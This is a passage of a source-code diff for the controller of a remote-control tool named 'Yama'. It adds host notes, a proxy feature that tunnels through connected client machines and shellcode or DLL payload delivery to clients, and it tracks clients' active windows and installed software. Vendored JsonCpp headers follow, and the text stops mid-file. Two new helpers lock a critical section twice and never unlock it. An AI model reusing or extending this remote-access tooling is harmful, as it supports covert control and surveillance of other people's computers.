SetClientMapData(id, MAP_LOCATION, loc); + } + } + data[ONLINELIST_LOCATION] = loc; ContextObject->SetClientInfo(data); + ContextObject->SetID(id); + + EnterCriticalSection(&m_cs); + if (modify) + SaveToFile(m_ClientMap, DB_FILENAME); + auto& m = m_ClientMap[ContextObject->ID]; + int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP); + for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) { + n == ONLINELIST_COMPUTER_NAME ? + m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) : + m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]); + } m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); ShowMessage(true,strIP+"主机上线"); @@ -478,6 +533,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() } // 将“关于...”菜单项添加到系统菜单中。 SetWindowText(_T("Yama")); + LoadFromFile(m_ClientMap, DB_FILENAME); // IDM_ABOUTBOX 必须在系统命令范围内。 ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); @@ -786,6 +842,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]); Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]); + Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]); + Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]); SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); *pResult = 0; @@ -1218,6 +1276,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) Dlg->OnReceiveComplete(); break; } + case PROXY_DLG: { + CProxyMapDlg* Dlg = (CProxyMapDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } default: { HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (hEvent == NULL) { @@ -1276,6 +1339,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } switch (ContextObject->InDeCompressedBuffer.GetBYTE(0)) { + case COMMAND_PROXY: + { + g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject); + break; + } case TOKEN_HEARTBEAT: case 137: UpdateActiveWindow(ContextObject); break; @@ -1285,7 +1353,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL); bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true; int connNum = 0; - Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease); + if (typ == SHELLCODE) { + Mprintf("===> '%s' Request SC [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease); + } else { + Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease); + } char version[12] = {}; ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); SendServerDll(ContextObject, is64Bit); @@ -1414,8 +1486,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strVideo = m_settings.DetectSoftware ? "无" : LoginInfor->bWebCamIsExist ? "有" : "无"; strAddr.Format("%d", nSocket); - AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, - LoginInfor->szReserved,ContextObject); + auto v = LoginInfor->ParseReserved(10); + AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject); delete LoginInfor; return S_OK; }catch(...){ @@ -1540,8 +1612,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd); if (hb.Ping > 0) m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str()); - if (m_settings.DetectSoftware) - m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "有" : "无"); + m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "有" : "无"); return; } } @@ -1753,6 +1824,20 @@ LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam) return 0; } +LRESULT CMy2015RemoteDlg::OnOpenProxyDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + + CProxyMapDlg* Dlg = new CProxyMapDlg(this, m_iocpServer, ContextObject); + Dlg->Create(IDD_PROXY, GetDesktopWindow()); + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = PROXY_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) { MessageBox("Copyleft (c) FTU 2025", "关于"); @@ -1803,6 +1888,55 @@ void CMy2015RemoteDlg::OnToolAuth() dlg.DoModal(); } +void CMy2015RemoteDlg::OnMainProxy() +{ + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (Pos) + { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); + BYTE cmd[] = { COMMAND_PROXY }; + m_iocpServer->OnClientPreSending(ContextObject, cmd, sizeof(cmd)); + break; + } + LeaveCriticalSection(&m_cs); +} + +void CMy2015RemoteDlg::OnOnlineHostnote() +{ + CInputDialog dlg(this); + dlg.Init("修改备注", "请输入主机备注: "); + if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) { + return; + } + if (dlg.m_str.GetLength() >= 64) { + MessageBox("备注信息长度不能超过64个字符", "提示", MB_ICONINFORMATION); + dlg.m_str = dlg.m_str.Left(63); + } + BOOL modified = FALSE; + uint64_t key = 0; + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); + auto f = m_ClientMap.find(ContextObject->ID); + if (f == m_ClientMap.end()) + m_ClientMap[ContextObject->ID] = ClientValue("", dlg.m_str); + else + m_ClientMap[ContextObject->ID].UpdateNote(dlg.m_str); + m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str); + modified = TRUE; + } + LeaveCriticalSection(&m_cs); + if (modified) { + EnterCriticalSection(&m_cs); + SaveToFile(m_ClientMap, DB_FILENAME); + LeaveCriticalSection(&m_cs); + } +} + char* ReadFileToBuffer(const std::string &path, size_t& outSize) { // 打开文件 diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 7e94a88..73182bd 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -13,6 +13,60 @@ // 是否在退出主控端时也退出客户端 #define CLIENT_EXIT_WITH_SERVER 0 +////////////////////////////////////////////////////////////////////////// +#include +#include +#define DB_FILENAME "./YAMA.db" + +enum { + MAP_NOTE, + MAP_LOCATION, +}; + +struct _ClientValue +{ + char Note[64]; + char Location[64]; + char Reserved[128]; // 预留 + _ClientValue() { + memset(this, 0, sizeof(_ClientValue)); + } + _ClientValue(const CString& loc, const CString& s) { + memset(this, 0, sizeof(_ClientValue)); + strcpy_s(Note, s.GetString()); + strcpy_s(Location, loc.GetString()); + } + void UpdateNote(const CString& s) { + strcpy_s(Note, s.GetString()); + } + void UpdateLocation(const CString& loc) { + strcpy_s(Location, loc.GetString()); + } + const char* GetNote() const { + return Note; + } + const char* GetLocation() const { + return Location; + } + int GetLength() const { + return sizeof(_ClientValue); + } +}; + +typedef uint64_t ClientKey; + +typedef _ClientValue ClientValue; + +typedef std::unordered_map ComputerNoteMap; + +// 保存 unordered_map 到文件 +void SaveToFile(const ComputerNoteMap& data, const std::string& filename); + +// 从文件读取 unordered_map 数据 +void LoadFromFile(ComputerNoteMap& data, const std::string& filename); + +////////////////////////////////////////////////////////////////////////// + enum { PAYLOAD_DLL_X86 = 0, // 32位 DLL @@ -23,6 +77,43 @@ enum // CMy2015RemoteDlg 对话框 class CMy2015RemoteDlg : public CDialogEx { +protected: + ComputerNoteMap m_ClientMap; + CString GetClientMapData(ClientKey key, int typ) { + EnterCriticalSection(&m_cs); + auto f = m_ClientMap.find(key); + CString r; + if (f != m_ClientMap.end()) { + switch (typ) + { + case MAP_NOTE: + r = f->second.GetNote(); + break; + case MAP_LOCATION: + r = f->second.GetLocation(); + break; + default: + break; + } + } + EnterCriticalSection(&m_cs); + return r; + } + void SetClientMapData(ClientKey key, int typ, const char* value) { + EnterCriticalSection(&m_cs); + switch (typ) + { + case MAP_NOTE: + m_ClientMap[key].UpdateNote(value); + break; + case MAP_LOCATION: + m_ClientMap[key].UpdateLocation(value); + break; + default: + break; + } + EnterCriticalSection(&m_cs); + } // 构造 public: CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // 标准构造函数 @@ -48,8 +139,8 @@ public: VOID InitControl(); //初始控件 VOID TestOnline(); //测试函数 - VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, - CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject); + VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, + CString ver, CString startTime, const std::vector &v, CONTEXT_OBJECT* ContextObject); VOID ShowMessage(BOOL bOk, CString strMsg); VOID CreatStatusBar(); VOID CreateToolBar(); @@ -79,7 +170,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[4]; + CBitmap m_bmOnline[6]; bool CheckValid(); afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); @@ -119,10 +210,14 @@ public: afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam); + + afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); afx_msg void OnOnlineShare(); afx_msg void OnToolAuth(); afx_msg void OnToolGenMaster(); + afx_msg void OnMainProxy(); + afx_msg void OnOnlineHostnote(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index bf2fab7..890a966 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -74,34 +74,33 @@ true - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) - $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath) true - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) - $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath) + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath) false - $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath) - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath) false - $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath) - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath) Use Level3 Disabled - WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) + WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions) true false $(SolutionDir);%(AdditionalIncludeDirectories) - Default Windows @@ -126,11 +125,10 @@ Use Level3 Disabled - WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) + WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions) true false $(SolutionDir);%(AdditionalIncludeDirectories) - Default Windows @@ -155,12 +153,11 @@ Use MinSpace true - WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) + WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions) true Size true $(SolutionDir);%(AdditionalIncludeDirectories) - Default Windows @@ -188,12 +185,11 @@ Use MinSpace true - WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) + WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions) true Size true $(SolutionDir);%(AdditionalIncludeDirectories) - Default Windows @@ -215,12 +211,8 @@ - - - - @@ -247,7 +239,6 @@ - @@ -255,6 +246,7 @@ + @@ -262,6 +254,12 @@ + + + + + + @@ -294,6 +292,9 @@ + + + @@ -318,12 +319,16 @@ + + + + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.user b/server/2015Remote/2015Remote_vs2015.vcxproj.user index 264bb85..6e90bf5 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.user +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.user @@ -1,8 +1,5 @@ 锘 - - 2015Remote.rc - $(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt) WindowsLocalDebugger @@ -11,12 +8,12 @@ $(SolutionDir)Bin\$(TargetName)_x86$(TargetExt) WindowsLocalDebugger - - $(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt) - WindowsLocalDebugger - $(SolutionDir)Bin\$(TargetName)_x64$(TargetExt) WindowsLocalDebugger + + $(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt) + WindowsLocalDebugger + \ No newline at end of file diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index e2f13f0..3399301 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -4,6 +4,9 @@ #pragma comment(lib,"ws2_32.lib") #include "CpuUseage.h" #include "Buffer.h" +#define XXH_INLINE_ALL +#include "xxhash.h" + #if USING_CTX #include "zstd/zstd.h" #endif @@ -20,6 +23,25 @@ std::string GetRemoteIP(SOCKET sock); + +enum +{ + ONLINELIST_IP = 0, // IP的列顺序 + ONLINELIST_ADDR, // 地址 + ONLINELIST_LOCATION, // 地理位置 + ONLINELIST_COMPUTER_NAME, // 计算机名/备注 + ONLINELIST_OS, // 操作系统 + ONLINELIST_CPU, // CPU + ONLINELIST_VIDEO, // 摄像头(有无) + ONLINELIST_PING, // PING(对方的网速) + ONLINELIST_VERSION, // 版本信息 + ONLINELIST_INSTALLTIME, // 安装时间 + ONLINELIST_LOGINTIME, // 活动窗口 + ONLINELIST_CLIENTTYPE, // 客户端类型 + ONLINELIST_PATH, // 文件路径 + ONLINELIST_MAX, +}; + // Encoder interface. The default encoder will do nothing. class Encoder { public: @@ -172,7 +194,7 @@ enum IOType typedef struct CONTEXT_OBJECT { - CString sClientInfo[10]; + CString sClientInfo[ONLINELIST_MAX]; SOCKET sClientSocket; WSABUF wsaInBuf; WSABUF wsaOutBuffer; @@ -185,23 +207,30 @@ typedef struct CONTEXT_OBJECT void *olps; // OVERLAPPEDPLUS int CompressMethod; // 压缩算法 HeaderParser Parser; // 解析数据协议 + uint64_t ID; // 唯一标识 + + BOOL m_bProxyConnected; // 代理是否连接 BOOL bLogin; // 是否 login VOID InitMember() { - memset(szBuffer,0,sizeof(char)*PACKET_LENGTH); + memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH); v1 = 0; hDlg = NULL; sClientSocket = INVALID_SOCKET; - memset(&wsaInBuf,0,sizeof(WSABUF)); - memset(&wsaOutBuffer,0,sizeof(WSABUF)); + memset(&wsaInBuf, 0, sizeof(WSABUF)); + memset(&wsaOutBuffer, 0, sizeof(WSABUF)); olps = NULL; + for (int i = 0; i < ONLINELIST_MAX; i++) { + sClientInfo[i].Empty(); + } CompressMethod = COMPRESS_ZSTD; Parser.Reset(); bLogin = FALSE; + m_bProxyConnected = FALSE; } - VOID SetClientInfo(CString s[10]){ - for (int i=0; i ContextObjectList; @@ -326,36 +366,52 @@ public: IOCPServer(void); ~IOCPServer(void); void Destroy(); - + void Disconnect(CONTEXT_OBJECT *ctx){} pfnNotifyProc m_NotifyProc; pfnOfflineProc m_OfflineProc; }; +typedef IOCPServer ISocketBase; + class CLock { public: - CLock(CRITICAL_SECTION& cs) + CLock(CRITICAL_SECTION& cs) : m_cs(&cs) { - m_cs = &cs; Lock(); } + CLock() : m_cs(nullptr) + { + InitializeCriticalSection(&i_cs); + } ~CLock() { - Unlock(); + m_cs ? Unlock() : DeleteCriticalSection(&i_cs); } void Unlock() { - LeaveCriticalSection(m_cs); + LeaveCriticalSection(m_cs ? m_cs : &i_cs); } void Lock() { - EnterCriticalSection(m_cs); + EnterCriticalSection(m_cs ? m_cs : &i_cs); + } + + void unlock() + { + LeaveCriticalSection(m_cs ? m_cs : &i_cs); + } + + void lock() + { + EnterCriticalSection(m_cs ? m_cs : &i_cs); } protected: - CRITICAL_SECTION* m_cs; + CRITICAL_SECTION* m_cs; // 外部锁 + CRITICAL_SECTION i_cs; // 内部锁 }; #define TRACK_OVERLAPPEDPLUS 0 diff --git a/server/2015Remote/jsoncpp/allocator.h b/server/2015Remote/jsoncpp/allocator.h new file mode 100644 index 0000000..f4fcc1c --- /dev/null +++ b/server/2015Remote/jsoncpp/allocator.h @@ -0,0 +1,91 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_ALLOCATOR_H_INCLUDED +#define JSON_ALLOCATOR_H_INCLUDED + +#include +#include + +#pragma pack(push) +#pragma pack() + +namespace Json { +template class SecureAllocator { +public: + // Type definitions + using value_type = T; + using pointer = T*; + using const_pointer = const T*; + using reference = T&; + using const_reference = const T&; + using size_type = std::size_t; + using difference_type = std::ptrdiff_t; + + /** + * Allocate memory for N items using the standard allocator. + */ + pointer allocate(size_type n) { + // allocate using "global operator new" + return static_cast(::operator new(n * sizeof(T))); + } + + /** + * Release memory which was allocated for N items at pointer P. + * + * The memory block is filled with zeroes before being released. + */ + void deallocate(pointer p, size_type n) { + // memset_s is used because memset may be optimized away by the compiler + memset_s(p, n * sizeof(T), 0, n * sizeof(T)); + // free using "global operator delete" + ::operator delete(p); + } + + /** + * Construct an item in-place at pointer P. + */ + template void construct(pointer p, Args&&... args) { + // construct using "placement new" and "perfect forwarding" + ::new (static_cast(p)) T(std::forward(args)...); + } + + size_type max_size() const { return size_t(-1) / sizeof(T); } + + pointer address(reference x) const { return std::addressof(x); } + + const_pointer address(const_reference x) const { return std::addressof(x); } + + /** + * Destroy an item in-place at pointer P. + */ + void destroy(pointer p) { + // destroy using "explicit destructor" + p->~T(); + } + + // Boilerplate + SecureAllocator() {} + template SecureAllocator(const SecureAllocator&) {} + template struct rebind { + using other = SecureAllocator; + }; +}; + +template +bool operator==(const SecureAllocator&, const SecureAllocator&) { + return true; +} + +template +bool operator!=(const SecureAllocator&, const SecureAllocator&) { + return false; +} + +} // namespace Json + +#pragma pack(pop) + +#endif // JSON_ALLOCATOR_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/assertions.h b/server/2015Remote/jsoncpp/assertions.h new file mode 100644 index 0000000..666fa7f --- /dev/null +++ b/server/2015Remote/jsoncpp/assertions.h @@ -0,0 +1,61 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_ASSERTIONS_H_INCLUDED +#define JSON_ASSERTIONS_H_INCLUDED + +#include +#include + +#if !defined(JSON_IS_AMALGAMATION) +#include "config.h" +#endif // if !defined(JSON_IS_AMALGAMATION) + +/** It should not be possible for a maliciously designed file to + * cause an abort() or seg-fault, so these macros are used only + * for pre-condition violations and internal logic errors. + */ +#if JSON_USE_EXCEPTION + +// @todo <= add detail about condition in exception +#define JSON_ASSERT(condition) \ + do { \ + if (!(condition)) { \ + Json::throwLogicError("assert json failed"); \ + } \ + } while (0) + +#define JSON_FAIL_MESSAGE(message) \ + do { \ + OStringStream oss; \ + oss << message; \ + Json::throwLogicError(oss.str()); \ + abort(); \ + } while (0) + +#else // JSON_USE_EXCEPTION + +#define JSON_ASSERT(condition) assert(condition) + +// The call to assert() will show the failure message in debug builds. In +// release builds we abort, for a core-dump or debugger. +#define JSON_FAIL_MESSAGE(message) \ + { \ + OStringStream oss; \ + oss << message; \ + assert(false && oss.str().c_str()); \ + abort(); \ + } + +#endif + +#define JSON_ASSERT_MESSAGE(condition, message) \ + do { \ + if (!(condition)) { \ + JSON_FAIL_MESSAGE(message); \ + } \ + } while (0) + +#endif // JSON_ASSERTIONS_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/config.h b/server/2015Remote/jsoncpp/config.h new file mode 100644 index 0000000..6359273 --- /dev/null +++ b/server/2015Remote/jsoncpp/config.h @@ -0,0 +1,150 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_CONFIG_H_INCLUDED +#define JSON_CONFIG_H_INCLUDED +#include +#include +#include +#include +#include +#include +#include +#include + +// If non-zero, the library uses exceptions to report bad input instead of C +// assertion macros. The default is to use exceptions. +#ifndef JSON_USE_EXCEPTION +#define JSON_USE_EXCEPTION 1 +#endif + +// Temporary, tracked for removal with issue #982. +#ifndef JSON_USE_NULLREF +#define JSON_USE_NULLREF 1 +#endif + +/// If defined, indicates that the source file is amalgamated +/// to prevent private header inclusion. +/// Remarks: it is automatically defined in the generated amalgamated header. +// #define JSON_IS_AMALGAMATION + +// Export macros for DLL visibility +#if defined(JSON_DLL_BUILD) +#if defined(_MSC_VER) || defined(__MINGW32__) +#define JSON_API __declspec(dllexport) +#define JSONCPP_DISABLE_DLL_INTERFACE_WARNING +#elif defined(__GNUC__) || defined(__clang__) +#define JSON_API __attribute__((visibility("default"))) +#endif // if defined(_MSC_VER) + +#elif defined(JSON_DLL) +#if defined(_MSC_VER) || defined(__MINGW32__) +#define JSON_API __declspec(dllimport) +#define JSONCPP_DISABLE_DLL_INTERFACE_WARNING +#endif // if defined(_MSC_VER) +#endif // ifdef JSON_DLL_BUILD + +#if !defined(JSON_API) +#define JSON_API +#endif + +#if defined(_MSC_VER) && _MSC_VER < 1800 +#error \ + "ERROR: Visual Studio 12 (2013) with _MSC_VER=1800 is the oldest supported compiler with sufficient C++11 capabilities" +#endif + +#if defined(_MSC_VER) && _MSC_VER < 1900 +// As recommended at +// https://stackoverflow.com/questions/2915672/snprintf-and-visual-studio-2010 +extern JSON_API int msvc_pre1900_c99_snprintf(char* outBuf, size_t size, + const char* format, ...); +#define jsoncpp_snprintf msvc_pre1900_c99_snprintf +#else +#define jsoncpp_snprintf std::snprintf +#endif + +// If JSON_NO_INT64 is defined, then Json only support C++ "int" type for +// integer +// Storages, and 64 bits integer support is disabled. +// #define JSON_NO_INT64 1 + +// JSONCPP_OVERRIDE is maintained for backwards compatibility of external tools. +// C++11 should be used directly in JSONCPP. +#define JSONCPP_OVERRIDE override + +#ifdef __clang__ +#if __has_extension(attribute_deprecated_with_message) +#define JSONCPP_DEPRECATED(message) __attribute__((deprecated(message))) +#endif +#elif defined(__GNUC__) // not clang (gcc comes later since clang emulates gcc) +#if (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 5)) +#define JSONCPP_DEPRECATED(message) __attribute__((deprecated(message))) +#elif (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)) +#define JSONCPP_DEPRECATED(message) __attribute__((__deprecated__)) +#endif // GNUC version +#elif defined(_MSC_VER) // MSVC (after clang because clang on Windows emulates + // MSVC) +#define JSONCPP_DEPRECATED(message) __declspec(deprecated(message)) +#endif // __clang__ || __GNUC__ || _MSC_VER + +#if !defined(JSONCPP_DEPRECATED) +#define JSONCPP_DEPRECATED(message) +#endif // if !defined(JSONCPP_DEPRECATED) + +#if defined(__clang__) || (defined(__GNUC__) && (__GNUC__ >= 6)) +#define JSON_USE_INT64_DOUBLE_CONVERSION 1 +#endif + +#if !defined(JSON_IS_AMALGAMATION) + +#include "allocator.h" +#include "version.h" + +#endif // if !defined(JSON_IS_AMALGAMATION) + +namespace Json { +using Int = int; +using UInt = unsigned int; +#if defined(JSON_NO_INT64) +using LargestInt = int; +using LargestUInt = unsigned int; +#undef JSON_HAS_INT64 +#else // if defined(JSON_NO_INT64) +// For Microsoft Visual use specific types as long long is not supported +#if defined(_MSC_VER) // Microsoft Visual Studio +using Int64 = __int64; +using UInt64 = unsigned __int64; +#else // if defined(_MSC_VER) // Other platforms, use long long +using Int64 = int64_t; +using UInt64 = uint64_t; +#endif // if defined(_MSC_VER) +using LargestInt = Int64; +using LargestUInt = UInt64; +#define JSON_HAS_INT64 +#endif // if defined(JSON_NO_INT64) + +template +using Allocator = + typename std::conditional, + std::allocator>::type; +using String = std::basic_string, Allocator>; +using IStringStream = + std::basic_istringstream; +using OStringStream = + std::basic_ostringstream; +using IStream = std::istream; +using OStream = std::ostream; +} // namespace Json + +// Legacy names (formerly macros). +using JSONCPP_STRING = Json::String; +using JSONCPP_ISTRINGSTREAM = Json::IStringStream; +using JSONCPP_OSTRINGSTREAM = Json::OStringStream; +using JSONCPP_ISTREAM = Json::IStream; +using JSONCPP_OSTREAM = Json::OStream; + +#endif // JSON_CONFIG_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/forwards.h b/server/2015Remote/jsoncpp/forwards.h new file mode 100644 index 0000000..affe33a --- /dev/null +++ b/server/2015Remote/jsoncpp/forwards.h @@ -0,0 +1,43 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_FORWARDS_H_INCLUDED +#define JSON_FORWARDS_H_INCLUDED + +#if !defined(JSON_IS_AMALGAMATION) +#include "config.h" +#endif // if !defined(JSON_IS_AMALGAMATION) + +namespace Json { + +// writer.h +class StreamWriter; +class StreamWriterBuilder; +class Writer; +class FastWriter; +class StyledWriter; +class StyledStreamWriter; + +// reader.h +class Reader; +class CharReader; +class CharReaderBuilder; + +// json_features.h +class Features; + +// value.h +using ArrayIndex = unsigned int; +class StaticString; +class Path; +class 